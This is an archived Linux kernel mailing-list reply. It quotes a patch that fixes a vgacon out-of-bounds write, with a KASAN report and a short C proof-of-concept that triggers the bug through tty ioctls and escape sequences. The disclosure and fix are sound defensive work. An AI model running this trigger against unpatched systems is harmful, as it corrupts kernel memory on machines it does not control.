linux-fbdev.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Helge Deller <deller@gmx.de>
Cc: GONG Ruiqi <gongruiqi1@huawei.com>,
	Jiri Slaby <jirislaby@kernel.org>,
	linux-fbdev@vger.kernel.org, security@kernel.org,
	Kees Cook <kees@kernel.org>, Yi Yang <yiyang13@huawei.com>,
	Lu Jialin <lujialin4@huawei.com>,
	Xiu Jianfeng <xiujianfeng@huawei.com>
Subject: Re: [PATCH RFC 1/1] vgacon: Add check for vc_origin address range in vgacon_scroll()
Date: Sun, 27 Apr 2025 17:40:39 +0200	[thread overview]
Message-ID: <2025042758-dislocate-rebuild-bab2@gregkh> (raw)
In-Reply-To: <bd358b87-8bca-4c45-9ee2-43d8d106969f@gmx.de>

On Sun, Apr 27, 2025 at 05:34:47PM +0200, Helge Deller wrote:
> On 4/27/25 04:53, GONG Ruiqi wrote:
> > Our in-house Syzkaller reported the following BUG (twice), which we
> > believed was the same issue with [1]:
> > 
> > ==================================================================
> > BUG: KASAN: slab-out-of-bounds in vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740
> > Read of size 2 at addr ffff88800f5bef60 by task syz.7.2620/12393
> > ...
> > Call Trace:
> >   <TASK>
> >   __dump_stack lib/dump_stack.c:88 [inline]
> >   dump_stack_lvl+0x72/0xa0 lib/dump_stack.c:106
> >   print_address_description.constprop.0+0x6b/0x3d0 mm/kasan/report.c:364
> >   print_report+0xba/0x280 mm/kasan/report.c:475
> >   kasan_report+0xa9/0xe0 mm/kasan/report.c:588
> >   vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740
> >   vcs_write_buf_noattr drivers/tty/vt/vc_screen.c:493 [inline]
> >   vcs_write+0x586/0x840 drivers/tty/vt/vc_screen.c:690
> >   vfs_write+0x219/0x960 fs/read_write.c:584
> >   ksys_write+0x12e/0x260 fs/read_write.c:639
> >   do_syscall_x64 arch/x86/entry/common.c:51 [inline]
> >   do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81
> >   entry_SYSCALL_64_after_hwframe+0x78/0xe2
> >   ...
> >   </TASK>
> > 
> > Allocated by task 5614:
> >   kasan_save_stack+0x20/0x40 mm/kasan/common.c:45
> >   kasan_set_track+0x25/0x30 mm/kasan/common.c:52
> >   ____kasan_kmalloc mm/kasan/common.c:374 [inline]
> >   __kasan_kmalloc+0x8f/0xa0 mm/kasan/common.c:383
> >   kasan_kmalloc include/linux/kasan.h:201 [inline]
> >   __do_kmalloc_node mm/slab_common.c:1007 [inline]
> >   __kmalloc+0x62/0x140 mm/slab_common.c:1020
> >   kmalloc include/linux/slab.h:604 [inline]
> >   kzalloc include/linux/slab.h:721 [inline]
> >   vc_do_resize+0x235/0xf40 drivers/tty/vt/vt.c:1193
> >   vgacon_adjust_height+0x2d4/0x350 drivers/video/console/vgacon.c:1007
> >   vgacon_font_set+0x1f7/0x240 drivers/video/console/vgacon.c:1031
> >   con_font_set drivers/tty/vt/vt.c:4628 [inline]
> >   con_font_op+0x4da/0xa20 drivers/tty/vt/vt.c:4675
> >   vt_k_ioctl+0xa10/0xb30 drivers/tty/vt/vt_ioctl.c:474
> >   vt_ioctl+0x14c/0x1870 drivers/tty/vt/vt_ioctl.c:752
> >   tty_ioctl+0x655/0x1510 drivers/tty/tty_io.c:2779
> >   vfs_ioctl fs/ioctl.c:51 [inline]
> >   __do_sys_ioctl fs/ioctl.c:871 [inline]
> >   __se_sys_ioctl+0x12d/0x190 fs/ioctl.c:857
> >   do_syscall_x64 arch/x86/entry/common.c:51 [inline]
> >   do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81
> >   entry_SYSCALL_64_after_hwframe+0x78/0xe2
> > 
> > Last potentially related work creation:
> >   kasan_save_stack+0x20/0x40 mm/kasan/common.c:45
> >   __kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492
> >   __call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713
> >   netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802
> >   __sock_release+0xb5/0x270 net/socket.c:663
> >   sock_close+0x1e/0x30 net/socket.c:1425
> >   __fput+0x408/0xab0 fs/file_table.c:384
> >   __fput_sync+0x4c/0x60 fs/file_table.c:465
> >   __do_sys_close fs/open.c:1580 [inline]
> >   __se_sys_close+0x68/0xd0 fs/open.c:1565
> >   do_syscall_x64 arch/x86/entry/common.c:51 [inline]
> >   do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81
> >   entry_SYSCALL_64_after_hwframe+0x78/0xe2
> > 
> > Second to last potentially related work creation:
> >   kasan_save_stack+0x20/0x40 mm/kasan/common.c:45
> >   __kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492
> >   __call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713
> >   netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802
> >   __sock_release+0xb5/0x270 net/socket.c:663
> >   sock_close+0x1e/0x30 net/socket.c:1425
> >   __fput+0x408/0xab0 fs/file_table.c:384
> >   task_work_run+0x154/0x240 kernel/task_work.c:239
> >   exit_task_work include/linux/task_work.h:45 [inline]
> >   do_exit+0x8e5/0x1320 kernel/exit.c:874
> >   do_group_exit+0xcd/0x280 kernel/exit.c:1023
> >   get_signal+0x1675/0x1850 kernel/signal.c:2905
> >   arch_do_signal_or_restart+0x80/0x3b0 arch/x86/kernel/signal.c:310
> >   exit_to_user_mode_loop kernel/entry/common.c:111 [inline]
> >   exit_to_user_mode_prepare include/linux/entry-common.h:328 [inline]
> >   __syscall_exit_to_user_mode_work kernel/entry/common.c:207 [inline]
> >   syscall_exit_to_user_mode+0x1b3/0x1e0 kernel/entry/common.c:218
> >   do_syscall_64+0x66/0x110 arch/x86/entry/common.c:87
> >   entry_SYSCALL_64_after_hwframe+0x78/0xe2
> > 
> > The buggy address belongs to the object at ffff88800f5be000
> >   which belongs to the cache kmalloc-2k of size 2048
> > The buggy address is located 2656 bytes to the right of
> >   allocated 1280-byte region [ffff88800f5be000, ffff88800f5be500)
> > 
> > ...
> > 
> > Memory state around the buggy address:
> >   ffff88800f5bee00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> >   ffff88800f5bee80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> > > ffff88800f5bef00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> >                                                         ^
> >   ffff88800f5bef80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> >   ffff88800f5bf000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> > ==================================================================
> > 
> > By analyzing the vmcore, we found that vc->vc_origin was somehow placed
> > one line prior to vc->vc_screenbuf when vc was in KD_TEXT mode, and
> > further writings to /dev/vcs caused out-of-bounds reads (and writes
> > right after) in vcs_write_buf_noattr().
> > 
> > Our further experiments show that in most cases, vc->vc_origin equals to
> > vga_vram_base when the console is in KD_TEXT mode, and it's around
> > vc->vc_screenbuf for the KD_GRAPHICS mode. But via triggerring a
> > TIOCL_SETVESABLANK ioctl beforehand, we can make vc->vc_origin be around
> > vc->vc_screenbuf while the console is in KD_TEXT mode, and then by
> > writing the special 'ESC M' control sequence to the tty certain times
> > (depends on the value of `vc->state.y - vc->vc_top`), we can eventually
> > move vc->vc_origin prior to vc->vc_screenbuf. Here's the PoC, tested on
> > QEMU:
> > 
> > ```
> > int main() {
> > 	const int RI_NUM = 10; // should be greater than `vc->state.y - vc->vc_top`
> > 	int tty_fd, vcs_fd;
> > 	const char *tty_path = "/dev/tty0";
> > 	const char *vcs_path = "/dev/vcs";
> > 	const char escape_seq[] = "\x1bM";  // ESC + M
> > 	const char trigger_seq[] = "Let's trigger an OOB write.";
> > 	struct vt_sizes vt_size = { 70, 2 };
> > 	int blank = TIOCL_BLANKSCREEN;
> > 
> > 	tty_fd = open(tty_path, O_RDWR);
> > 
> > 	char vesa_mode[] = { TIOCL_SETVESABLANK, 1 };
> > 	ioctl(tty_fd, TIOCLINUX, vesa_mode);
> > 
> > 	ioctl(tty_fd, TIOCLINUX, &blank);
> > 	ioctl(tty_fd, VT_RESIZE, &vt_size);
> > 
> > 	for (int i = 0; i < RI_NUM; ++i)
> > 		write(tty_fd, escape_seq, sizeof(escape_seq) - 1);
> > 
> > 	vcs_fd = open(vcs_path, O_RDWR);
> > 	write(vcs_fd, trigger_seq, sizeof(trigger_seq));
> > 
> > 	close(vcs_fd);
> > 	close(tty_fd);
> > 	return 0;
> > }
> > ```
> > 
> > To solve this problem, add an address range validation check in
> > vgacon_scroll(), ensuring vc->vc_origin never precedes vc_screenbuf.
> > 
> > Reported-by: syzbot+9c09fda97a1a65ea859b@syzkaller.appspotmail.com
> > Closes: https://syzkaller.appspot.com/bug?extid=9c09fda97a1a65ea859b [1]
> > Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> > Cc: stable@vger.kernel.org
> > Co-developed-by: Yi Yang <yiyang13@huawei.com>
> > Signed-off-by: Yi Yang <yiyang13@huawei.com>
> > Signed-off-by: GONG Ruiqi <gongruiqi1@huawei.com>
> > ---
> >   drivers/video/console/vgacon.c | 2 +-
> >   1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c
> > index 37bd18730fe0..f9cdbf8c53e3 100644
> > --- a/drivers/video/console/vgacon.c
> > +++ b/drivers/video/console/vgacon.c
> > @@ -1168,7 +1168,7 @@ static bool vgacon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
> >   				     c->vc_screenbuf_size - delta);
> >   			c->vc_origin = vga_vram_end - c->vc_screenbuf_size;
> >   			vga_rolled_over = 0;
> > -		} else
> > +		} else if (oldo - delta >= (unsigned long)c->vc_screenbuf)
> >   			c->vc_origin -= delta;
> >   		c->vc_scr_end = c->vc_origin + c->vc_screenbuf_size;
> >   		scr_memsetw((u16 *) (c->vc_origin), c->vc_video_erase_char,
> 
> 
> The patch is not wrong, but I'm not yet sure if it hides another issue.
> I've applied it to the fbdev tree for now (unless Greg wants to handle it).

Nope, you can handle it, thanks!

thanks,

greg k-h

      reply	other threads:[~2025-04-27 15:40 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
     [not found] <20250427025303.888320-1-gongruiqi1@huawei.com>
     [not found] ` <20250427025303.888320-2-gongruiqi1@huawei.com>
2025-04-27 15:34   ` [PATCH RFC 1/1] vgacon: Add check for vc_origin address range in vgacon_scroll() Helge Deller
2025-04-27 15:40     ` Greg Kroah-Hartman [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=2025042758-dislocate-rebuild-bab2@gregkh \
    --to=gregkh@linuxfoundation.org \
    --cc=deller@gmx.de \
    --cc=gongruiqi1@huawei.com \
    --cc=jirislaby@kernel.org \
    --cc=kees@kernel.org \
    --cc=linux-fbdev@vger.kernel.org \
    --cc=lujialin4@huawei.com \
    --cc=security@kernel.org \
    --cc=xiujianfeng@huawei.com \
    --cc=yiyang13@huawei.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).